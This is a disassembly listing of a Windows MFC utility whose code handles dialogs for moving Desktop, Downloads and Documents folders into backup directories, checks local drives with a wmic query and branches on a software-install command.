call fcn.140084f40
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x1328]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x5d30]
call fcn.1400b74b0
lea rcx, [rsp + 0x5d30]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rbx, rax
lea rcx, [rsp + 0x5d30]
call fcn.140085050
jmp 0x1400a1057
lea rdx, str.Microsoft_Edge
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a1052
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1330]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x63a0]
call fcn.140084f40
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x1338]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x63a0]
call fcn.1400b74b0
lea rcx, [rsp + 0x63a0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rbx, rax
lea rcx, [rsp + 0x63a0]
call fcn.140085050
jmp 0x1400a1057
mov rbx, qword [rsp + 0x58]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x258]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test rbx, rbx
sete sil
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.MoveDataDlg
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a11b6
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1340]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1340]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1348]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1348]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor edx, edx
lea rcx, [rsp + 0xdae0]
call fcn.1400b9670
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1350]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
cmp eax, 2
setg byte [rsp + 0xeb88]
mov rcx, rbx
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xdae0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
cmp rax, 1
jne 0x1400a1195
movzx esi, al
jmp 0x1400a11a4
movzx esi, sil
xor r14d, r14d
cmp rax, 2
cmove esi, r14d
lea rcx, [rsp + 0xdae0]
call fcn.1400b9870
jmp 0x1400acb92
lea rdx, str.SystemSlowRepairDlg
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a12d4
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1358]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1358]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1360]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1360]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor edx, edx
lea rcx, [rsp + 0x4710]
call fcn.14003a770
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1368]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x4710]
call fcn.1400b73d0
lea rcx, [rsp + 0x4710]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
cmp rax, 1
jne 0x1400a12b3
movzx esi, al
jmp 0x1400a12c2
movzx esi, sil
xor r14d, r14d
cmp rax, 2
cmove esi, r14d
lea rcx, [rsp + 0x4710]
call fcn.14003a840
jmp 0x1400acb92
lea rdx, str.move_data
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a1bd5
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1370]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x1378]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1378]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rdx, r14
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.move_data
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a13d5
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1380]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1380]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1388]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1388]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x9c0]
call fcn.1400ff890
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0x968]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x9c0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov r8, rax
lea rdx, [rsp + 0x968]
lea rcx, [rsp + 0xb8]
call fcn.140006490
nop
lea rcx, [rsp + 0x968]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [0x14016d3a4]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a14f8
lea rdx, str.D:BackUp_
jmp 0x1400a1514
lea rdx, [0x14016d3b4]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a1522
lea rdx, str.E:BackUp_
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x1390]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a155d
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [0x14016c760]
lea rcx, [rsp + 0xd0]
call fcn.14000d8d0
test al, al
je 0x1400a17b5
lea rdx, [0x140151d50]
lea rcx, [rsp + 0x970]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x970]
lea rcx, [rsp + 0x1398]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1398]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x970]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.Desktop_BackUp
lea rcx, [rsp + 0x978]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x978]
lea rcx, [rsp + 0x13a0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x13a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x978]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x13a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a168c
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x13b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x13b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400e1ab0
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e41d0
lea rax, [rsp + 0x13c0]
mov qword [rsp + 0x58], rax
lea rdx, str._result
lea rcx, [rsp + 0x988]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.moveDesktop_ContentTo
lea rcx, [rsp + 0x980]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x13c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x980]
lea rcx, [rsp + 0x13d0]
call fcn.140006490
nop
lea r8, [rsp + 0x988]
mov rdx, rax
lea rcx, [rsp + 0x13c8]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x13d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x980]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x988]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a1b9b
lea rdx, [0x14016c768]
lea rcx, [rsp + 0xd0]
call fcn.14000d8d0
test al, al
je 0x1400a1a0d
lea rdx, [0x140151d40]
lea rcx, [rsp + 0x990]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x990]
lea rcx, [rsp + reloc.mfc140u.dll_CPane::GetAvailableExpandSize]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CPane::GetAvailableExpandSize]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x990]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.Downloads_BackUp
lea rcx, [rsp + 0x998]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x998]
lea rcx, [rsp + 0x13e0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x13e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x998]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x13e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a18e4
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x13f0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x13f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x13f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400e1ab0
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e41d0
lea rax, [rsp + 0x1400]
mov qword [rsp + 0x58], rax
lea rdx, str._result
lea rcx, [rsp + 0x9a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.moveDownload_ContentTo
lea rcx, [rsp + 0x9a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1400]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x9a0]
lea rcx, [rsp + 0x1410]
call fcn.140006490
nop
lea r8, [rsp + 0x9a8]
mov rdx, rax
lea rcx, [rsp + 0x1408]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x1410]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a1b9b
lea rdx, [0x14016c778]
lea rcx, [rsp + 0xd0]
call fcn.14000d8d0
test al, al
je 0x1400a1b9b
lea rdx, [0x140151d70]
lea rcx, [rsp + 0x9b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x9b0]
lea rcx, [rsp + 0x1418]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1418]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.Documents_backup
lea rcx, [rsp + 0x9b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x9b8]
lea rcx, [rsp + 0x1420]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1420]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x1428]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a1b3c
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x1430]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x1438]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400e1ab0
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e41d0
nop
lea rcx, [rsp + 0x88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd0]
jmp 0x14009cc67
lea rdx, str.isDriveExists
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a1e01
xor dil, dil
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1440]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1440]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1448]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1448]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1450]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.drive_to_find_if_exist_or_not
lea rcx, [rsp + 0x1458]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, str.wmic_logicaldisk_where_drivetype3_get_deviceid
lea rcx, [rsp + 0x1460]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x238]
call fcn.1400fc5a0
nop
lea rax, [rsp + 0x1468]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x1468]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Number_of_logical_drives_in_machine
lea rcx, [rsp + 0x1470]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea r8, [0x14015eb14]
lea rdx, str.DeviceID
lea rcx, [rsp + 0x238]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rcx, [rsp + 0x238]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + reloc.mfc140u.dll_CMFCRibbonGallery::GetCompactSize]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x238]
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonGallery::GetCompactSize]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.drive_id_after_removing_deviceId_string
lea rcx, [rsp + 0x1480]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x238]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
movzx esi, dil
mov edi, 1
test eax, eax
cmovns esi, edi
lea rcx, [rsp + 0x238]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.softwareinstall
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a2126
lea rcx, [rsp + 0x600]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x250
lea rcx, [rsp + 0x478]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
